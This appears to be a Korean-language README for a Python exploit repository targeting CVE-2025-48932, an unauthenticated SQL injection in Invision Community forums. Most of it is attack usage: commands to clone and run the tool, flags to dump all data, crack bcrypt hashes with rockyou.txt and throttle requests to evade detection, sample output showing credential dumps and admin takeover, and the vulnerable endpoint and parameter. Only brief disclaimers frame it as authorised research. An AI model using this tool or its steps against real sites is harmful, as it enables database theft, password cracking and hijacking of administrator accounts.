
CVE-2025-48932 - Invision Community ≤ 4.7.20에 대한 인증되지 않은 SQL 인젝션 익스플로잇. 데이터베이스 열거, 자격 증명 덤프, 관리자 탈취, 세션 하이재킹 및 멀티스레딩을 통한 완전 자동화된 익스플로잇. 종속성 없음. Sudeepa Wanigarathna의 보안 연구 도구.
CVE-2025-48932은 Invision Community 버전 ≤ 4.7.20에서 발견된 심각한 수준의 인증되지 않은 블라인드 SQL 인젝션 취약점입니다. 이 익스플로잇을 통해 원격 공격자는 다음을 수행할 수 있습니다:
$ python3 exploit.py -u https://vulnerable-site.com -v
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2025-48932 - Invision Community SQL Injection ║
║ Author: Sudeepa Wanigarathna ║
║ Critical: Unauthenticated Remote Code Execution ║
╚══════════════════════════════════════════════════════════════════╝
[*] Target: https://vulnerable-site.com
[*] Performing vulnerability assessment...
[+] Target is confirmed VULNERABLE!
[*] Enumerating database information...
[+] Database Information:
Version: 10.4.32-MariaDB
User: invision@localhost
Database: invision_community
Hostname: localhost
Basedir: /usr/
Datadir: /var/lib/mysql/
[*] Enumerating databases...
[+] Found 5 databases
Found: information_schema
Found: invision_community
Found: mysql
Found: performance_schema
Found: phpmyadmin
[*] Enumerating tables in invision_community...
[+] Found 12 tables
Found: core_members
Found: core_sessions
Found: admin_members
Found: cms_categories
Found: forums_posts
...
[*] Searching for credentials...
[+] Found credential table: core_members
Credentials: admin - $2y$10$abcdefghijklmnopqrstuvwxyz...
Credentials: moderator - $2y$10$1234567890abcdefghijklmnop...
Credentials: user123 - $2y$10$qwertyuiopasdfghjklzxcvbnm...
[*] Extracting admin information...
[+] Admin Information Found:
name: admin
email: [email protected]
id: 1
password_hash: $2y$10$abcdefghijklmnopqrstuvwxyz...
[*] Attempting to crack password hash...
[+] Detected hash type: bcrypt
[+] Password cracked: Admin@2024!
[*] Attempting admin bypass...
[+] Admin login successful!
[+] Credentials: admin:Admin@2024!
[+] Exploitation complete!
[+] Report saved to invision_exploit_report_1700000000.json
{
"target": "https://vulnerable-site.com",
"timestamp": "2026-08-02T12:34:56.789Z",
"vulnerable": true,
"database": {
"version": "10.4.32-MariaDB",
"user": "invision@localhost",
"database": "invision_community",
"hostname": "localhost"
},
"databases": [
"information_schema",
"invision_community",
"mysql",
"performance_schema",
"phpmyadmin"
],
"tables": [
"core_members",
"core_sessions",
"admin_members"
],
"credentials": [
{
"username": "admin",
"password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz...",
"email": "[email protected]"
}
],
"admin_info": {
"name": "admin",
"email": "[email protected]",
"id": "1",
"password_hash": "$2y$10$abcdefghijklmnopqrstuvwxyz..."
},
"summary": {
"total_databases": 5,
"total_tables": 12,
"total_credentials": 3,
"vulnerable": true,
"successful": true
}
}
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2025-48932-Invision-Community-SQLi-Exploit.git
cd CVE-2025-48932-Invision-Community-SQLi-Exploit
# No dependencies to install! Just run it.
# Check if target is vulnerable
python3 exploit.py -u https://example.com --check-only
# Full exploitation with verbose output
python3 exploit.py -u https://example.com -v
# With proxy (Burp Suite)
python3 exploit.py -u https://example.com -p http://127.0.0.1:8080 -v
# Save results to custom file
python3 exploit.py -u https://example.com -o results.json
# Multi-threaded extraction (faster)
python3 exploit.py -u https://example.com -t 10
# Dump all available data
python3 exploit.py -u https://example.com --dump-all
# With custom wordlist for password cracking
python3 exploit.py -u https://example.com --wordlist rockyou.txt -v
# Silent mode (no output, just report)
python3 exploit.py -u https://example.com -o silent_report.json
# Debug mode with detailed errors
python3 exploit.py -u https://example.com -v --debug
✅ No external dependencies!
✅ Pure Python standard library only!
✅ No pip install or virtual environment needed!
# Download popular wordlist
wget https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
/applications/calendar/modules/front/calendar/view.phpIPS\calendar\modules\front\calendar\view::search()location (사용자 제공 입력)GET /applications/calendar/modules/front/calendar/view.php?do=search&location=[SQL_INJECTION_PAYLOAD]
이 도구는 교육 및 승인된 테스트 목적으로만 제공됩니다.
이 도구를 사용함으로써 다음 사항에 동의하게 됩니다:
컴퓨터 시스템에 대한 무단 접근은 불법이며 비윤리적입니다.
invision_exploit_report_[timestamp].json
├── target # Target URL
├── timestamp # Exploit timestamp
├── vulnerable # Vulnerability status
├── database # Database information
├── databases # List of databases
├── tables # List of tables
├── credentials # Extracted credentials
├── admin_info # Admin user information
└── summary # Exploitation summary
문제: 연결 시간 초과
# Solution: Increase timeout or check network
python3 exploit.py -u https://example.com --timeout 60
문제: SSL 인증서 오류
# Solution: Disable SSL verification (not recommended for production)
python3 exploit.py -u https://example.com --no-verify-ssl
문제: 속도 제한 감지됨
# Solution: Reduce threads and increase delays
python3 exploit.py -u https://example.com -t 2 --delay 2
문제: 취약한 매개변수를 찾을 수 없음
# Solution: Ensure calendar app is installed and GeoLocation is enabled
# Check: /applications/calendar/modules/front/calendar/view.php exists
기여를 환영합니다! 기여 지침을 확인해 주세요.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)보안 연구원 및 버그 바운티 헌터
이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
MIT License
Copyright (c) 2026 Sudeepa Wanigarathna
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
이 프로젝트가 도움이 되었거나 흥미로우셨다면:
사이버 보안 연구원 | 소프트웨어 엔지니어 | CTF 엔지니어
이 프로젝트는 보안 연구, 방어 분석 및 승인된 침투 테스트를 위해 제공됩니다. 사용자는 모든 적용 가능한 법률을 준수하고 사용 전에 적절한 승인을 받을 책임이 있습니다.
| 기능 | 설명 | 상태 |
|---|
| 🚀 제로 종속성 | 순수 Python 표준 라이브러리 - pip 설치 불필요 | ✅ |
| ⚡ 멀티 스레드 | 구성 가능한 스레드로 초고속 데이터 추출 | ✅ |
| 🤖 완전 자동화 | 탐지부터 보고까지의 완전한 공격 체인 | ✅ |
| 👑 관리자 탈취 | 세션 하이재킹 및 권한 상승 | ✅ |
| 🔑 자격 증명 덤프 | 사용자, 비밀번호 해시, 이메일 추출 | ✅ |
| 🔓 비밀번호 크래킹 | 워드리스트를 지원하는 내장 해시 크래킹 | ✅ |
| 📋 JSON 보고 | 분석 및 문서화를 위한 구조화된 출력 | ✅ |
| 🔌 프록시 지원 | Burp Suite 및 사용자 지정 프록시 통합 | ✅ |
| 🎨 컬러 출력 | 진행 표시기가 포함된 보기 좋은 터미널 출력 | ✅ |
| 🛡️ 속도 제한 | 탐지 회피를 위한 내장 지연 | ✅ |
| 인수 | 설명 | 예시 |
|---|
-u, --url | 대상 URL (필수) | -u https://example.com |
-p, --proxy | 프록시 URL | -p http://127.0.0.1:8080 |
-t, --threads | 스레드 수 (기본값: 5) | -t 10 |
-o, --output | 결과 출력 파일 | -o results.json |
-v, --verbose | 상세 출력 활성화 | -v |
--check-only | 취약점만 확인 | --check-only |
--dump-all | 사용 가능한 모든 데이터 덤프 | --dump-all |
--wordlist | 크래킹용 워드리스트 파일 | --wordlist rockyou.txt |